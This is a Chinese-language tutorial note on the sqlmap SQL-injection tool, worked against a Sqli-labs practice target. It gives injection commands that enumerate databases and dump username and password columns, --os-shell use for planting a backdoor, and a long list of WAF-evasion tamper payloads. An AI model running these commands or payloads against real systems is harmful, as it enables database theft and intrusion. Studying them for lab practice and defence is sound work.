如有侵权,请联系删除
Linux下安装
sudo apt install sqlmap
基本使用
sqlmap -u "www.baidu.com"
注意给网址加上双引号(虽然只传一个参数的时候可以不加)
导入HTTP请求头
sqlmap -r ~/Documents/1.txt
1. 使用-r
参数来导入文本。该文本为一份完整的HTTP请求头,可以使用HTTP Header Live
这款浏览器插件或者使用BurpSuite
来获取
2. 该方式适用于cookie注入,http头部注入,还有POST型的注入等需要对请求头进行操作的注入,这样可以不需要在自行填写数据
基本注入流程
以Sqli-labs Less-1为例(该靶场为公网IP,由本书作者提供,大家可以白嫖)
1、先测试是否存在sql注入
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1"
显示了payload,证明存在漏洞
至于这样注入不成功就要具体看提示了,如果提示你提升等级,那你就提升等级继续测试;如果提示不行,那大概率自动注入就不太行了
2、爆库
这里用了一个参数 --batch ,目的是自动执行
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --batch --dbs
成功
可以看见当前用户下有5个数据库,分别为:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
3、我们尝试对security
库进行爆表
将 ‘--dbs’ 换成 ‘-D’
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --batch -D security --tables
发现有4个表
4、查看users
中的字段
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --batch -D security -T users --columns
5、查看具体字段的内容
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --batch -D security -T users -C username,password --dump
--dump
的意思是下载,图中也提示了输出目录,我们可以看一下
齐活…
进阶注入
这里将会有大量的参数出现
可以使用管道命令
来查看帮助
比如查看 --batch 的详细说明
sqlmap --help | grep batch
–level
需要执行的测试等级
level一共分为5个等级。默认是1;当level为2时就会测试cookie注入;为3时就会进行User-Agent/Referer头部注入;等级越高,效果越好,时间也越长。
具体语句为
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --level 2
–is-dba
当前账户是否有root权限
具体语句为
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --is-dba
–referer
伪造请求头中的Referer字段
Referer字段在《图解HTTP》中的解释:
首部字段 Referer 会告知服务器请求的原始资源的 URI。客户端一般都会发送 Referer 首部字段给服务器。
但当直接在浏览器的地址栏输入 URI,或出于安全性的考虑时,也可以不发送该首部字段。
因为原始资源的 URI 中的查询字符串可能含有 ID 和密码等保密信息,要是写进 Referer 转发给其他服务器,则有可能导致保密信息的泄露。
另外,Referer 的正确的拼写应该是 Referrer,但不知为何,大家一直沿用这个错误的拼写。
上边说了,当level为3及以上时,sqlmap会对Referer注入进行测试,这时候我们可以使用该参数进行伪造。具体操作会在后边头部注入
中讲到。
–sql-shell
在shell中执行指定的sql语句
具体语句为:
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --sql-shell
执行后可以输入sql语句,我们尝试手工注入的语句
id=-1' union select 1,2,3 --
执行成功
–os-cmd , --os-shell
模拟真实的shell,输入想执行的命令
另外,书中没提到--os-cmd
是什么,百度也无果,我盲猜是Windwos服务器的cmd界面吧
使用条件
–os-shell 适用与MySql、PostgreSql和MsSql
但是想要使用并不是非常简单,首先需要满足3个条件:
- 当前用户拥有root权限。即
--is-dba
为True
- 攻击者需要知道网站的绝对路径
- php的主动转义功能关闭(我觉得进行绕过应该是可以的)
攻击过程
使用该方式,可以做到在不能执行多语句时,也可以使用INTO OUTFEILE进行写进目录(outfeile可以参考Sqli-labs Less-7),留下后门
如果是本地搭建的靶场,知道网站的绝对路径还是可以的,如果是docker中搭建或者用的别人搭好的,那基本可以告别减肥了
使用该语句并按提示操作即可
sqlmap -u "http://43.247.91.228:84/Less-1/?id=1" --sql-shell
绕WAF
原理
大概的原理就是,使用--temper
参数进行sqlmap绕过脚本的使用
而官方提供了53个绕过脚本,脚本由python编写
当网站存在安全防护时,sqlmap通过引用的脚本将payload改写,再返回
由此尝试绕过
使用示例:
sqlmap xxxxx.xxx --tamper "模块名"
常用脚本
我觉得脚本倒不是很重要,重要的是学习一些sqlmap的绕过思路
我已经弟弟到,这里很多绕过方式我连听都没听过…
apostrophemask.py
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:1 AND '1'='1
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:1' AND SLEEP(5)#
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:1 UNION SELECT foobar
使用脚本后:1 UNION SELECT foobar
space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:SELECT id FROM users
使用脚本后:SELECT+id+FROM+users
nonrecursivereplacement.py
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前:1 UNION SELECT 2--
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:SELECT id FROM users
使用脚本后:SELECT%0Did%0DFROM%0Ausers
unionalltounion.py
适用数据库:ALL
作用:将union all select 替换为union select
使用脚本前:-1 UNION ALL SELECT
使用脚本后:-1 UNION SELECT
securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:1 AND 1=1
使用脚本后:1 AND 1=1 and '0having'='0having'
space2hash.py
适用数据库:ALL
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:1 AND 9227=9227
使用脚本后:1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227
space2mssqlblank.py
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号(’%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
使用脚本前:SELECT id FROM users
使用脚本后:SELECT%0Eid%0DFROM%07users
between.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)
使用脚本前:1 AND A > B--
使用脚本后:1 AND A NOT BETWEEN 0 AND B--
percentage.py
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:SELECT FIELD FROM TABLE
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py
适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:1 AND 9227=9227--
使用脚本后:1 AND 9227=9227-- sp_password
charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:SELECT FIELD FROM%20TABLE
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
randomcase.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:INSERT
使用脚本后:INseRt
charunicodeencode.py
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:字符串的unicode编码
使用脚本前:SELECT FIELD%20FROM TABLE
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
space2comment.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/* */
使用脚本前:SELECT id FROM users
使用脚本后:SELECT/**/id/**/FROM/**/users
equaltolike.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:SELECT * FROM users WHERE id=1
使用脚本后:SELECT * FROM users WHERE id LIKE 1
equaltolike.py
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将">“替换为GREATEST,绕过对”>"的过滤
使用脚本前:1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A
ifnull2ifisnull.py
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:IFNULL(1, 2)
使用脚本后:IF(ISNULL(1),2,1)
modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:1 AND 2>1--
使用脚本后:1 /*!30874AND 2>1*/--
space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
使用脚本前:SELECT id FROM users
使用脚本后:SELECT%0Bid%0DFROM%0Cusers
modsecurityzeroversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/!00000/)进行注入
使用脚本前:1 AND 2>1--
使用脚本后:1 /*!00000AND 2>1*/--
space2mysqldash.py
适用数据库:MySQL、MSSQL
作用:将空格替换为 – ,并追随一个换行符
使用脚本前:1 AND 9227=9227
使用脚本后:1--%0AAND--%0A9227=9227
bluecoat.py
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:SELECT id FROM users where id = 1
使用脚本后:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
halfversionedmorekeywords.py
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
space2morehash.py
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:1 AND 9227=9227
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
apostrophenullencode.py
适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:1 AND '1'='1
使用脚本后:1 AND %00%271%00%27=%00%271
appendnullbyte.py
适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:1 AND 1=1
使用脚本后:1 AND 1=1%00
chardoubleencode.py
适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:SELECT FIELD FROM%20TABLE
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
unmagicquotes.py
适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:1' AND 1=1
使用脚本后:1%bf%27 AND 1=1--
randomcomments.py
适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:INSERT
使用脚本后:I/**/N/**/SERT
这本书在最后说了一句:实际情况可能会很复杂,tamper不可能全面的应付各种环境,掌握tamper的编写规则才是王道。
这可能就是脱离脚本小子的前奏吧